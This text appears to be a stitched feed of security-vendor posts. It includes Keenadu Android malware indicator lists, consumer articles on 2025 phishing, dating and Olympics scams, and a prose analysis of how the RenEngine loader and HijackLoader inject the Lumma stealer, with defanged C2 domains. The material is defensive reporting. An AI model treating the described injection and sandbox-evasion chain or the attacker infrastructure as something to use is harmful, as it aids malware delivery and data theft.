Additional IoCs, technical details and a YARA rule for detecting Keenadu activity are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

Malicious libandroid_runtime.so libraries
bccd56a6b6c9496ff1acd40628edd25e
c4c0e65a5c56038034555ec4a09d3a37
cb9f86c02f756fb9afdb2fe1ad0184ee
f59ad0c8e47228b603efc0ff790d4a0c
f9b740dd08df6c66009b27c618f1e086
02c4c7209b82bbed19b962fb61ad2de3
185220652fbbc266d4fdf3e668c26e59
36db58957342024f9bc1cdecf2f163d6
4964743c742bb899527017b8d06d4eaa
58f282540ab1bd5ccfb632ef0d273654
59aee75ece46962c4eb09de78edaa3fa
8d493346cb84fbbfdb5187ae046ab8d3
9d16a10031cddd222d26fcb5aa88a009
a191b683a9307276f0fc68a2a9253da1
65f290dd99f9113592fba90ea10cb9b3
68990fbc668b3d2cfbefed874bb24711
6d93fb8897bf94b62a56aca31961756a

Keenadu payloads
2922df6713f865c9cba3de1fe56849d7
3dae1f297098fa9d9d4ee0335f0aeed3
462a23bc22d06e5662d379b9011d89ff
4c4ca7a2a25dbe15a4a39c11cfef2fb2
5048406d8d0affa80c18f8b1d6d76e21
529632abf8246dfe555153de6ae2a9df
7ceccea499cfd3f9f9981104fc05bcbd
912bc4f756f18049b241934f62bfb06c
98ff5a3b5f2cdf2e8f58f96d70db2875
aa5bf06f0cc5a8a3400e90570fb081b0
ad60f46e724d88af6bcacb8c269ac3c1
dc3d454a7edb683bec75a6a1e28a4877
f0184f6955479d631ea4b1ea0f38a35d

System applications infected with Keenadu loader
07546413bdcb0e28eadead4e2b0db59d
0c1f61eeebc4176d533b4fc0a36b9d61
10d8e8765adb1cbe485cb7d7f4df21e4
11eaf02f41b9c93e9b3189aa39059419
19df24591b3d76ad3d0a6f548e608a43
1bfb3edb394d7c018e06ed31c7eea937
1c52e14095f23132719145cf24a2f9dc
21846f602bcabccb00de35d994f153c9
2419583128d7c75e9f0627614c2aa73f
28e6936302f2d290c2fec63ca647f8a6
382764921919868d810a5cf0391ea193
45bf58973111e00e378ee9b7b43b7d2d
56036c2490e63a3e55df4558f7ecf893
64947d3a929e1bb860bf748a15dba57c
69225f41dcae6ddb78a6aa6a3caa82e1
6df8284a4acee337078a6a62a8b65210
6f6e14b4449c0518258beb5a40ad7203
7882796fdae0043153aa75576e5d0b35
7c3e70937da7721dd1243638b467cff1
9ddd621daab4c4bc811b7c1990d7e9ea
a0f775dd99108cb3b76953e25f5cdae4
b841debc5307afc8a4592ea60d64de14
c57de69b401eb58c0aad786531c02c28
ca59e49878bcf2c72b99d15c98323bcd
d07eb2db2621c425bda0f046b736e372
d4be9b2b73e565b1181118cb7f44a102
d9aecc9d4bf1d4b39aa551f3a1bcc6b7
e9bed47953986f90e814ed5ed25b010c

Applications infected with Nova clicker
0bc94bc4bc4d69705e4f08aaf0e976b3
1276480838340dcbc699d1f32f30a5e9
15fb99660dbd52d66f074eaa4cf1366d
2dca15e9e83bca37817f46b24b00d197
350313656502388947c7cbcd08dc5a95
3e36ffda0a946009cb9059b69c6a6f0d
5b0726d66422f76d8ba4fbb9765c68f6
68b64bf1dea3eb314ce273923b8df510
9195454da9e2cb22a3d58dbbf7982be8
a4a6ff86413b3b2a893627c4cff34399
b163fa76bde53cd80d727d88b7b1d94f
ba0a349f177ffb3e398f8c780d911580
bba23f4b66a0e07f837f2832a8cd3bd4
d6ebc5526e957866c02c938fc01349ee
ec7ab99beb846eec4ecee232ac0b3246
ef119626a3b07f46386e65de312cf151
fcaeadbee39fddc907a3ae0315d86178

Payload CDN
ubkt1x.oss-us-west-1.aliyuncs[.]com
m-file-us.oss-us-west-1.aliyuncs[.]com
pkg-czu.istaticfiles[.]com
pkgu.istaticfiles[.]com
app-download.cn-wlcb.ufileos[.]com

C2 servers
110.34.191[.]81
110.34.191[.]82
67.198.232[.]4
67.198.232[.]187
fbsimg[.]com
tmgstatic[.]com
gbugreport[.]com
aifacecloud[.]com
goaimb[.]com
proczone[.]com
gvvt1[.]com
dllpgd[.]click
fbgraph[.]com
newsroomlabss[.]com
sliidee[.]com
keepgo123[.]com
gsonx[.]com
gmsstatic[.]com
ytimg2[.]com
glogstatic[.]com
gstatic2[.]com
uscelluliar[.]com
playstations[.]click

Every year, scammers cook up new ways to trick people, and 2025 was no exception. Over the past year, our anti-phishing system thwarted more than 554 million attempts to follow phishing links, while our Mail Anti-Virus blocked nearly 145 million malicious attachments. To top it off, almost 45% of all emails worldwide turned out to be spam. Below, we break down the most impressive phishing and spam schemes from last year. For the deep dive, you can read the full Spam and Phishing in 2025 report on Securelist.

Phishing for fun

Music lovers and cinephiles were prime targets for scammers in 2025. Bad actors went all out creating fake ticketing aggregators and spoofed versions of popular streaming services.

On these fake aggregator sites, users were offered “free” tickets to major concerts. The catch? You just had to pay a small “processing fee” or “shipping cost”. Naturally, the only thing being delivered was your hard-earned cash straight into a scammer’s pocket.

With streaming services, the hustle went like this: users received a tempting offer to, say, migrate their Spotify playlists to YouTube by entering their Spotify credentials. Alternatively, they were invited to vote for their favorite artist in a chart — an opportunity most fans find hard to pass up. To add a coat of legitimacy, scammers name-dropped heavy hitters like Google and Spotify. The phishing form targeted multiple platforms at once — Facebook, Instagram, or email — requiring users to enter their credentials to vote hand over their accounts.

In Brazil, scammers took it a step further: they offered users the chance to earn money just by listening to and rating songs on a supposed Spotify partner service. During registration, users had to provide their ID for Pix (the Brazilian instant payment system), and then make a one-time “verification payment” of 19.9 Brazilian reals (about $4) to “confirm their identity”. This fee was, of course, a fraction of the promised “potential earnings”. The payment form looked incredibly authentic and requested additional personal data — likely to be harvested for future attacks.

The “cultural date” scheme turned out to be particularly inventive. After matching and some brief chatting on dating apps, a new “love interest” would invite the victim to a play or a movie and send a link to buy tickets. Once the “payment” went through, both the date and the ticketing site would vanish into thin air. A similar tactic was used to sell tickets for immersive escape rooms, which have surged in popularity lately; the page designs mirrored real sites to lower the user’s guard.

Phishing via messaging apps

The theft of Telegram and WhatsApp accounts became one of the year’s most widespread threats. Scammers have mastered the art of masking phishing as standard chat app activities, and have significantly expanded their geographical reach.

On Telegram, free Premium subscriptions remained the ultimate bait. While these phishing pages were previously only seen in Russian and English, 2025 saw a massive expansion into other languages. Victims would receive a message — often from a friend’s hijacked account — offering a “gift”. To activate it, the user had to log in to their Telegram account on the attacker’s site, which immediately led to another hijacked account.

Another common scheme involved celebrity giveaways. One specific attack, disguised as an NFT giveaway, stood out because it operated through a Telegram Mini App. For the average user, spotting a malicious Mini App is much harder than identifying a sketchy external URL.

Finally, the classic vote for my friend messenger scam evolved in 2025 to include prompts to vote for the “city’s best dentist” or “top operational leader” — unfortunately, just bait for account takeovers.

Another clever method for hijacking WhatsApp accounts was spotted in China, where phishing pages perfectly mimicked the actual WhatsApp interface. Victims were told that due to some alleged “illegal activity”, they needed to undergo “additional verification”, which — you guessed it — ended up with a stolen account.

Impersonating Government Services

Phishing that mimics government messages and portals is a “classic of the genre”, but in 2025, scammers added some new scripts to the playbook.

In Russia, vishing attacks targeting government service users picked up steam. Victims received emails claiming an unauthorized login to their account, and were urged to call a specific number to undergo a “security check”. To make it look legit, the emails were packed with fake technical details: IP addresses, device models, and timestamps of the alleged login. Scammers also sent out phony loan approval notifications: if the recipient hadn’t applied for a loan (which they hadn’t), they were prompted to call a fake support team. Once the panicked victim reached an “operator”, social engineering took center stage.

In Brazil, attackers hunted for taxpayer numbers (CPF numbers) by creating counterfeit government portals. Since this ID is the master key for accessing state services, national databases, and personal documents, a hijacked CPF is essentially a fast track to identity theft.

In Norway, scammers targeted people looking to renew their driver’s licenses. A site mimicking the Norwegian Public Roads Administration collected a mountain of personal data: everything from license plate numbers, full names, addresses, and phone numbers to the unique personal identification numbers assigned to every resident. For the cherry on top, drivers were asked to pay a “license replacement fee” of 1200 NOK (over US$125). The scammers walked away with personal data, credit card details, and cash. A literal triple-combo move!

Generally speaking, motorists are an attractive target: they clearly have money and a car and a fear of losing it. UK-based scammers played on this by sending out demands to urgently pay some overdue vehicle tax to avoid some unspecified “enforcement action”. This “act now!” urgency is a classic phishing trope designed to distract the victim from a sketchy URL or janky formatting.

Let us borrow your identity, please

In 2025, we saw a spike in phishing attacks revolving around Know Your Customer (KYC) checks. To boost security, many services now verify users via biometrics and government IDs. Scammers have learned to harvest this data by spoofing the pages of popular services that implement these checks.

What sets these attacks apart is that, in addition to standard personal info, phishers demand photos of IDs or the victim’s face — sometimes from multiple angles. This kind of full profile can later be sold on dark web marketplaces or used for identity theft. We took a deep dive into this process in our post, What happens to data stolen using phishing?

AI scammers

Naturally, scammers weren’t about to sit out the artificial intelligence boom. ChatGPT became a major lure: fraudsters built fake ChatGPT Plus subscription checkout pages, and offered “unique prompts” guaranteed to make you go viral on social media.

The “earn money with AI” scheme was particularly cynical. Scammers offered passive income from bets allegedly placed by ChatGPT: the bot does all the heavy lifting while the user just watches the cash roll in. Sounds like a dream, right? But to “catch” this opportunity, you had to act fast. A special price on this easy way to lose your money was valid for only 15 minutes from the moment you hit the page, leaving victims with no time to think twice.

Across the board, scammers are aggressively adopting AI. They’re leveraging deepfakes, automating high-quality website design, and generating polished copy for their email blasts. Even live calls with victims are becoming components of more complex schemes, which we detailed in our post, How phishers and scammers use AI.

Booby-trapped job openings

Someone looking for work is a prime target for bad actors. By dangling high-paying remote roles at major brands, phishers harvested applicants’ personal data — and sometimes even squeezed them for small “document processing fees” or “commissions”.

In more sophisticated setups, “employment agency” phishing sites would ask for the phone number linked to the user’s Telegram account during registration. To finish “signing up”, the victim had to enter a “confirmation code”, which was actually a Telegram authorization code. After entering it, the site kept pestering the applicant for more profile details — clearly a distraction to keep them from noticing the new login notification on their phone. To “verify the user”, the victim was told to wait 24 hours, giving the scammers, who already had a foot in the door, enough time to hijack the Telegram account permanently.

Hype is a lie (but a very convincing one)

As usual, scammers in 2025 were quick to jump on every trending headline, launching email campaigns at breakneck speed.

For instance, following the launch of $TRUMP meme coins by the U.S. President, scam blasts appeared promising free NFTs from “Trump Meme Coin” and “Trump Digital Trading Cards”. We’ve previously broken down exactly how meme coins work, and how to (not) lose your shirt on them.

The second the iPhone 17 Pro hit the market, it became the prize in countless fake surveys. After “winning”, users just had to provide their contact info and pay for shipping. Once those bank details were entered, the “winner” risked losing not just the shipping fee, but every cent in their account.

Riding the Ozempic wave, scammers flooded inboxes with offers for counterfeit versions of the drug, or sketchy “alternatives” that real pharmacists have never even heard of.

And during the BLACKPINK world tour, spammers pivoted to advertising “scooter suitcases just like the band uses”.

Even Jeff Bezos’s wedding in the summer of 2025 became fodder for “Nigerian” email scams. Users received messages purportedly from Bezos himself or his ex-wife, MacKenzie Scott. The emails promised massive sums in the name of charity or as “compensation” from Amazon.

How to stay safe

As you can see, scammers know no bounds when it comes to inventing new ways to separate you from your money and personal data — or even stealing your entire identity. These are just a few of the wildest examples from 2025; you can dive into the full analysis of the phishing and spam threat landscape over at Securelist. In the meantime, here are a few tips to keep you from becoming a victim. Be sure to share these with your friends and family — especially kids, teens, and older relatives. These groups are often the main targets in the scammers’ crosshairs.

1. Check the URL before entering any data. Even if the page looks pixel-perfect, the address bar can give the game away.
2. Don’t follow links in suspicious messages, even if they come from someone you know. Their account could easily have been hijacked.
3. Never share verification codes with anyone. These codes are the master keys to your digital life.
4. Enable two-factor authentication everywhere you can. It adds a crucial extra hurdle for hackers.
5. Be skeptical of “too good to be true” offers. Free iPhones, easy money, and gifts from strangers are almost always a trap. For a refresher, check out our post, Phishing 101: what to do if you get a phishing email.
6. Install robust protection on all your devices. Kaspersky Premium automatically blocks phishing sites, malicious attachments, and spam blasts before you even have a chance to click. Plus, our Kaspersky for Android app features a three-tier anti-phishing system that can sniff out and neutralize malicious links in any message from any app. Read more about it in our post, A new layer of anti-phishing security in Kaspersky for Android.

With both spring and St. Valentine’s Day just around the corner, love is in the air — but we’re going to look at it through the lens of ultra-modern high-technology. Today, we’re diving into how technology is reshaping our romantic ideals and even the language we use to flirt. And, of course, we’ll throw in some non-obvious tips to make sure you don’t end up as a casualty of the modern-day love game.

New languages of love

Ever received your fifth video e-card of the day from an older relative and thought, “Make it stop”? Or do you feel like a period at the end of a sentence is a sign of passive aggression? In the world of messaging, different social and age groups speak their own digital dialects, and things often get lost in translation.

This is especially obvious in how Gen Z and Gen Alpha use emojis. For them, the Loudly Crying Face 😭 often doesn’t mean sadness — it means laughter, shock, or obsession. Meanwhile, the Heart Eyes emoji might be used for irony rather than romance: “Lost my wallet on the way home 😍😍😍”. Some double meanings have already become universal, like 🔥 for approval/praise, or 🍆 for… well, surely you know that by now… right?! 😭

Still, the ambiguity of these symbols doesn’t stop folks from crafting entire sentences out of nothing but emoji. For instance, a declaration of love might look something like this:

🤫❤️🫵

Or here’s an invitation to go on a date:

🫵🚶➡️💋🌹🍝🍷❓

By the way, there are entire books written in emojis. Back in 2009, enthusiasts actually translated the entirety of Moby Dick into emojis. The translators had to get creative — even paying volunteers to vote on the most accurate combinations for every single sentence. Granted it’s not exactly a literary masterpiece — the emoji language has its limits, after all — but the experiment was pretty fascinating: they actually managed to convey the general plot.

Unfortunately, putting together a definitive emoji dictionary or a formal style guide for texting is nearly impossible. There are just too many variables: age, context, personal interests, and social circles. Still, it never hurts to ask your friends and loved ones how they express tone and emotion in their messages. Fun fact: couples who use emojis regularly generally report feeling closer to one another.

However, if you are big into emojis, keep in mind that your writing style is surprisingly easy to spoof. It’s easy for an attacker to run your messages or public posts through AI to clone your tone for social engineering attacks on your friends and family. So, if you get a frantic DM or a request for an urgent wire transfer that sounds exactly like your best friend, double-check it. Even if the vibe is spot on, stay skeptical. We took a deeper dive into spotting these deepfake scams in our post about the attack of the clones.

Dating an AI

Of course, in 2026, it’s impossible to ignore the topic of relationships with artificial intelligence; it feels like we’re closer than ever to the plot of the movie Her. Just 10 years ago, news about people dating robots sounded like sci-fi tropes or urban legends. Today, stories about teens caught up in romances with their favorite characters on Character AI, or full-blown wedding ceremonies with ChatGPT, barely elicit more than a nervous chuckle.

In 2017, the service Replika launched, allowing users to create a virtual friend or life partner powered by AI. Its founder, Eugenia Kuyda — a Russian native living in San Francisco since 2010 — built the chatbot after her friend was tragically killed by a car in 2015, leaving her with nothing but their chat logs. What started as a bot created to help her process her grief was eventually released to her friends and then the general public. It turned out that a lot of people were craving that kind of connection.

Replika lets users customize a character’s personality, interests, and appearance, after which they can text or even call them. A paid subscription unlocks the romantic relationship option, along with AI-generated photos and selfies, voice calls with roleplay, and the ability to hand-pick exactly what the character remembers from your conversations.

However, these interactions aren’t always harmless. In 2021, a Replika chatbot actually encouraged a user in his plot to assassinate Queen Elizabeth II. The man eventually attempted to break into Windsor Castle — an “adventure” that ended in 2023 with a nine-year prison sentence. Following the scandal, the company had to overhaul its algorithms to stop the AI from egging on illegal behavior. The downside? According to many Replika devotees, the AI model lost its spark and became indifferent to users. After thousands of users revolted against the updated version, Replika was forced to cave and give longtime customers the option to roll back to the legacy chatbot version.

But sometimes, just chatting with a bot isn’t enough. There are entire online communities of people who actually marry their AI. Even professional wedding planners are getting in on the action. Last year, Yurina Noguchi, 32, “married” Klaus, an AI persona she’d been chatting with on ChatGPT. The wedding featured a full ceremony with guests, the reading of vows, and even a photoshoot of the “happy newlyweds”.

No matter how your relationship with a chatbot evolves, it’s vital to remember that generative neural networks don’t have feelings — even if they try their hardest to fulfill every request, agree with you, and do everything it can to “please” you. What’s more, AI isn’t capable of independent thought (at least not yet). It’s simply calculating the most statistically probable and acceptable sequence of words to serve up in response to your prompt.

Love by design: dating algorithms

Those who aren’t ready to tie the knot with a bot aren’t exactly having an easy time either: in today’s world, face-to-face interactions are dwindling every year. Modern love requires modern tech! And while you’ve definitely heard the usual grumbling, “Back in the day, people fell in love for real. These days it’s all about swiping left or right!” Statistics tell a different story. Roughly 16% of couples worldwide say they met online, and in some countries that number climbs to as high as 51%.

That said, dating apps like Tinder spark some seriously mixed emotions. The internet is practically overflowing with articles and videos claiming these apps are killing romance and making everyone lonely. But what does the research say?

In 2025, scientists conducted a meta-analysis of studies investigating how dating apps impact users’ wellbeing, body image, and mental health. Half of the studies focused exclusively on men, while the other half included both men and women. Here are the results: 86% of respondents linked negative body image to their use of dating apps! The analysis also showed that in nearly one out of every two cases, dating app usage correlated with a decline in mental health and overall wellbeing.

Other researchers noted that depression levels are lower among those who steer clear of dating apps. Meanwhile, users who already struggled with loneliness or anxiety often develop a dependency on online dating; they don’t just log on for potential relationships, but for the hits of dopamine from likes, matches, and the endless scroll of profiles.

However, the issue might not just be the algorithms — it could be our expectations. Many are convinced that “sparks” must fly on the very first date, and that everyone has a “soulmate” waiting for them somewhere out there. In reality, these romanticized ideals only surfaced during the Romantic era as a rebuttal to Enlightenment rationalism, where marriages of convenience were the norm.

It’s also worth noting that the romantic view of love didn’t just appear out of thin air: the Romantics, much like many of our contemporaries, were skeptical of rapid technological progress, industrialization, and urbanization. To them, “true love” seemed fundamentally incompatible with cold machinery and smog-choked cities. It’s no coincidence, after all, that Anna Karenina meets her end under the wheels of a train.

Fast forward to today, and many feel like algorithms are increasingly pulling the strings of our decision-making. However, that doesn’t mean online dating is a lost cause; researchers have yet to reach a consensus on exactly how long-lasting or successful internet-born relationships really are. The bottom line: don’t panic, just make sure your digital networking stays safe!

How to stay safe while dating online

So, you’ve decided to hack Cupid and signed up for a dating app. What could possibly go wrong?

Deepfakes and catfishing

Catfishing is a classic online scam where a fraudster pretends to be someone else. It used to be that catfishers just stole photos and life stories from real people, but nowadays they’re increasingly pivoting to generative models. Some AIs can churn out incredibly realistic photos of people who don’t even exist, and whipping up a backstory is a piece of cake — or should we say, a piece of prompt. By the way, that “verified account” checkmark isn’t a silver bullet; sometimes AI manages to trick identity verification systems too.

To verify that you’re talking to a real human, try asking for a video call or doing a reverse image search on their photos. If you want to level up your detection skills, check out our three posts on how to spot fakes: from photos and audio recordings to real-time deepfake video — like the kind used in live video chats.

Phishing and scams

Picture this: you’ve been hitting it off with a new connection for a while, and then, totally out of the blue, they drop a suspicious link and ask you to follow it. Maybe they want you to “help pick out seats” or “buy movie tickets”. Even if you feel like you’ve built up a real bond, there’s a chance your match is a scammer (or just a bot), and the link is malicious.

Telling you to “never click a malicious link” is pretty useless advice — it’s not like they come with a warning label. Instead, try this: to make sure your browsing stays safe, use a Kaspersky Premium that automatically blocks phishing attempts and keeps you off sketchy sites.

Keep in mind that there’s an even more sophisticated scheme out there known as “Pig Butchering”. In these cases, the scammer might chat with the victim for weeks or even months. Sadly, it ends badly: after lulling the victim into a false sense of security through friendly or romantic banter, the scammer casually nudges them toward a “can’t-miss crypto investment” — and then vanishes along with the “invested” funds.

Stalking and doxing

The internet is full of horror stories about obsessed creepers, harassment, and stalking. That’s exactly why posting photos that reveal where you live or work — or telling strangers about your favorite local hangouts — is a bad move. We’ve previously covered how to avoid becoming a victim of doxing (the gathering and public release of your personal info without your consent). Your first step is to lock down the privacy settings on all your social media and apps using our free Privacy Checker tool.

We also recommend stripping metadata from your photos and videos before you post or send them; many sites and apps don’t do this for you. Metadata can allow anyone who downloads your photo to pinpoint the exact coordinates of where it was taken.

Finally, don’t forget about your physical safety. Before heading out on a date, it’s a smart move to share your live geolocation, and set up a safe word or a code phrase with a trusted friend to signal if things start feeling off.

Sextortion and nudes

We don’t recommend ever sending intimate photos to strangers. Honestly, we don’t even recommend sending them to people you do know — you never know how things might go sideways down the road. But if a conversation has already headed in that direction, suggest moving it to an app with end-to-end encryption that supports self-destructing messages (like “delete after viewing”). Telegram’s Secret Chats are great for this (plus — they block screenshots!), as are other secure messengers. If you do find yourself in a bad spot, check out our posts on what to do if you’re a victim of sextortion and how to get leaked nudes removed from the internet.

More on love, security (and robots):

• Neither flowers nor gifts: how women get scammed
• Scams targeting lovers or the lovelorn
• AI and the new reality of sextortion
• Fifty shades of sextortion
• Your guide to safe and private online dating

The Olympic Games are more than just a massive celebration of sports; they’re a high-stakes business. Officially, the projected economic impact of the Winter Games — which kicked off on February 6 in Italy — is estimated at 5.3 billion euros. A lion’s share of that revenue is expected to come from fans flocking in from around the globe — with over 2.5 million tourists predicted to visit Italy. Meanwhile, those staying home are tuning in via TV and streaming. According to the platforms, viewership ratings are already hitting their highest peaks since 2014.

But while athletes are grinding for medals and the world is glued to every triumph and heartbreak, a different set of “competitors” has entered the arena to capitalize on the hype and the trust of eager fans. Cyberscammers of all stripes have joined an illegal race for the gold, knowing full well that a frenzy is a fraudster’s best friend.

Kaspersky experts have tracked numerous fraudulent schemes targeting fans during these Winter Games. Here’s how to avoid frustration in the form of fake tickets, non-existent merch, and shady streams, so you can keep your money and personal data safe.

Tickets to nowhere

The most popular scam on this year’s circuit is the sale of non-existent tickets. Usually, there are far fewer seats at the rinks and slopes than there are fans dying to see the main events. In a supply-and-demand crunch, folks scramble for any chance to snag those coveted passes, and that’s when phishing sites — clones of official vendors — come to the “rescue”. Using these, bad actors fish for fans’ payment details to either resell them on the dark web or drain their accounts immediately.

Remember: tickets for any Olympic event are sold only through the authorized Olympic platform or its listed partners. Any third-party site or seller outside the official channel is a scammer. We’re putting that play in the penalty box!

A fake goalie mitt, a counterfeit stick…

Dreaming of a Sydney Sweeney — sorry, Sidney Crosby — jersey? Or maybe you want a tracksuit with the official Games logo? Scammers have already set up dozens of fake online stores just for you! To pull off the heist, they use official logos, convincing photos, and padded rave reviews. You pay, and in return, you get… well, nothing but a transaction alert and your card info stolen.

I want my Olympic TV!

What if you prefer watching the action from the comfort of your couch rather than trekking from stadium to stadium, but you’re not exactly thrilled about paying for a pricey streaming subscription? Maybe there’s a free stream out there?

Sure thing! Five seconds of searching and your screen is flooded with dozens of “cheap”, “exclusive”, or even “free” live streams. They’ve got everything from figure skating to curling. But there’s a catch: for some reason — even though it’s supposedly free — a pop-up appears asking for your credit card details.

You type them in and hit “Play”, but instead of the long-awaited free skate program, you end up on a webcam ad site or somewhere even sketchier. The result: no show for you. At best, you were just used for traffic arbitrage; at worst, they now have access to your bank account. Either way, it’s a major bummer.

Defensive tactics

Scammers have been ripping off sports fans for years, and their payday depends entirely on how well they can mimic official portals. To stay safe, fans should mount a tiered defense: install reliable security software to block phishing, and keep a sharp eye on every URL you visit. If something feels even slightly off, never, ever enter your personal or payment info.

• Stick to authorized channels for tickets. Steer clear of third-party resellers and always double-check info on the official Olympic website.
• Use legitimate streaming services. Read the reviews and don’t hand over your credit card details to unverified sites.
• Be wary of Olympic merch and gift vendors. Don’t get baited by “exclusive” offers or massive discounts from unknown stores. Only buy from official retail partners.
• Avoid links in emails, direct messages, texts, or ads offering free tickets, streams, promo codes, or prize giveaways.
• Deploy a robust security solution. For instance, Kaspersky Premium automatically shuts down phishing attempts and blocks dangerous websites, malicious ads, and credit card skimmers in real time.

Want to see how sports fans were targeted in the past? Check out our previous posts:

• Summer scams in Paris
• How to watch soccer safely
• Soccer Cyberthreats

Unit 42 reveals new infrastructure associated with the Notepad++ attack. This expands understanding of threat actor operations and malware delivery.

The post Nation-State Actors Exploit Notepad++ Supply Chain appeared first on Unit 42.

We often describe cases of malware distribution under the guise of game cheats and pirated software. Sometimes such methods are used to spread complex malware that employs advanced techniques and sophisticated infection chains.

In February 2026, researchers from Howler Cell announced the discovery of a mass campaign distributing pirated games infected with a previously unknown family of malware. It turned out to be a loader called RenEngine, which was delivered to the device using a modified version of the Ren’Py engine-based game launcher. Kaspersky solutions detect the RenEngine loader as Trojan.Python.Agent.nb and HEUR:Trojan.Python.Agent.gen.

However, this threat is not new. Our solutions began detecting the first samples of the RenEngine loader in March 2025, when it was used to distribute the Lumma stealer (Trojan-PSW.Win32.Lumma.gen).

In the ongoing incidents, ACR Stealer (Trojan-PSW.Win32.ACRstealer.gen) is being distributed as the final payload. We have been monitoring this campaign for a long time and will share some details in this article.

Incident analysis

Disguise as a visual novel

Let’s look at the first incident, which we detected in March 2025. At that time, the attackers distributed the malware under the guise of a hacked game on a popular gaming web resource.

The website featured a game download page with two buttons: Free Download Now and Direct Download. Both buttons had the same functionality: they redirected users to the MEGA file-sharing service, where they were offered to download an archive with the “game.”

When the “game” was launched, the download process would stop at 100%. One might think that the game froze, but that was not the case — the “real” malicious code just started working.

“Game” source files analysis

After analyzing the source files, we found Python scripts that initiated the initial device infection. These scripts imitated the endless loading of the game. In addition, they contained the is_sandboxed function for bypassing the sandbox and xor_decrypt_file for decrypting the malicious payload. Using the latter, the script decrypts the ZIP archive, unpacks its contents into the .temp directory, and launches the unpacked files.

There are five files in the .temp directory. The DKsyVGUJ.exe executable is not malicious. Its original name is Ahnenblatt4.exe, and it is a well-known legitimate application for organizing genealogical data. The borlndmm.dll library also does not contain malicious code; it implements the memory manager required to run the executable. Another library, cc32290mt.dll, contains a code snippet patched by attackers that intercepts control when the application is launched and deploys the first stage of the payload in the process memory.

HijackLoader

The dbghelp.dll system library is used as a “container” to launch the first stage of the payload. It is overwritten in memory with decrypted shellcode obtained from the gayal.asp file using the cc32290mt.dll library. The resulting payload is HijackLoader. This is a relatively new means of delivering and deploying malicious implants. A distinctive feature of this malware family is its modularity and configuration flexibility. HijackLoader was first detected and described in the summer of 2023. More detailed information about this loader is available to customers of the Kaspersky Intelligence Reporting Service.

The final payload can be delivered in two ways, depending on the configuration parameters of the malicious sample. The main HijackLoader ti module is used to launch and prepare the process for the final payload injection. In some cases, an additional module is also used, which is injected into an intermediate process launched by the main one. The code that performs the injection is the same in both cases.

Before creating a child process, the configuration parameters are encrypted using XOR and saved to the %TEMP% directory with a random name. The file name is written to the system environment variables.

In the analyzed sample, the execution follows a longer path with an intermediate child process, cmd.exe. It is created in suspended mode by calling the auxiliary module modCreateProcess. Then, using the ZwCreateSection and ZwMapViewOfSection system API calls, the code of the same dbghelp.dll library is loaded into the address space of the process, after which it intercepts control.

Next, the ti module, launched inside the child process, reads the hap.eml file, from which it decrypts the second stage of HijackLoader. The module then loads the pla.dll system library and overwrites the beginning of its code section with the received payload, after which it transfers control to this library.

The decrypted payload is an EXE file, and the configuration parameters are set to inject it into the explorer.exe child process. The payload is written to the memory of the child process in several stages:

1. First, the malicious payload is written to a temporary file on disk using the transaction mechanism provided by the Windows API. The payload is written in several stages and not in the order in which the data is stored in the file. The MZ signature, with which any PE file begins, is written last with a delay.
   
   

   Writing the payload to a temporary file

2. After that, the payload is loaded from the temporary file into the address space of the current process using the ZwCreateSection call. The transaction that wrote to the file is rolled back, thus deleting the temporary file with the payload.
3. Next, the sample uses the modCreateProcess module to launch the child process explorer.exe and injects the payload into it by creating a shared memory region with the ZwMapViewOfSection call.
   
   

   Payload injection into the child process

   
   Another HijackLoader module, rshell, is used to launch the shellcode. Its contents are also injected into the child process, replacing the code located at its entry point.
   
   

   The rshell module injection

4. The last step performed by the parent process is starting a thread in the child process by calling ZwResumeThread. After that, the thread starts executing the rshell module code placed at the child process entry point, and the parent process terminates.

   The rshell module prepares the final malicious payload. Once it has finished, it transfers control to another HijackLoader module called ESAL. It replaces the contents of rshell with zeros using the memset function and launches the final payload, which is a stealer from the Lumma family (Trojan-PSW.Win32.Lumma).

In addition to the modules described above, this HijackLoader sample contains the following modules, which were used at intermediate stages: COPYLIST, modTask, modUAC, and modWriteFile.
Kaspersky solutions detect HijackLoader with the verdicts Trojan.Win32.Penguish and Trojan.Win32.DllHijacker.

Not only games

In addition to gaming sites, we found that attackers created dozens of different web resources to distribute RenEngine under the guise of pirated software. On one such site, for example, users can supposedly download an activated version of the CorelDRAW graphics editor.

When the user clicks the Descargar Ahora (“Download Now”) button, they are redirected several times to other malicious websites, after which an infected archive is downloaded to their device.

Distribution

According to our data, since March 2025, RenEngine has affected users in the following countries:

Distribution of incidents involving the RenEngine loader by country (TOP 20), February 2026 (download)

The distribution pattern of this loader suggests that the attacks are not targeted. At the time of publication, we have recorded the highest number of incidents in Russia, Brazil, Türkiye, Spain, and Germany.

Recommendations for protection

The format of game archives is generally not standardized and is unique for each game. This means that there is no universal algorithm for unpacking and checking the contents of game archives. If the game engine does not check the integrity and authenticity of executable resources and scripts, such an archive can become a repository for malware if modified by attackers. Despite this, Kaspersky Premium protects against such threats with its Behavior Detection component.

The distribution of malware under the guise of pirated software and hacked games is not a new tactic. It is relatively easy to avoid infection by the malware described in this article: simply install games and programs from trusted sites. In addition, it is important for gamers to remember the need to install specialized security solutions. This ongoing campaign employs the Lumma and ACR stylers, and Vidar was also found — none of these are new threats, but rather long-known malware. This means that modern antivirus technologies can detect even modified versions of the above-mentioned stealers and their alternatives, preventing further infection.

Indicators of compromise

12EC3516889887E7BCF75D7345E3207A – setup_game_8246.zip
D3CF36C37402D05F1B7AA2C444DC211A – __init.py__
1E0BF40895673FCD96A8EA3DDFAB0AE2 – cc32290mt.dll
2E70ECA2191C79AD15DA2D4C25EB66B9 – Lumma Stealer

hxxps://hentakugames[.]com/country-bumpkin/
hxxps://dodi-repacks[.]site
hxxps://artistapirata[.]fit
hxxps://artistapirata[.]vip
hxxps://awdescargas[.]pro
hxxps://fullprogramlarindir[.]me
hxxps://gamesleech[.]com
hxxps://parapcc[.]com
hxxps://saglamindir[.]vip
hxxps://zdescargas[.]pro
hxxps://filedownloads[.]store
hxxps://go[.]zovo[.]ink

Lumma C2
hxxps://steamcommunity[.]com/profiles/76561199822375128
hxxps://localfxement[.]live
hxxps://explorebieology[.]run
hxxps://agroecologyguide[.]digital
hxxps://moderzysics[.]top
hxxps://seedsxouts[.]shop
hxxps://codxefusion[.]top
hxxps://farfinable[.]top
hxxps://techspherxe[.]top
hxxps://cropcircleforum[.]today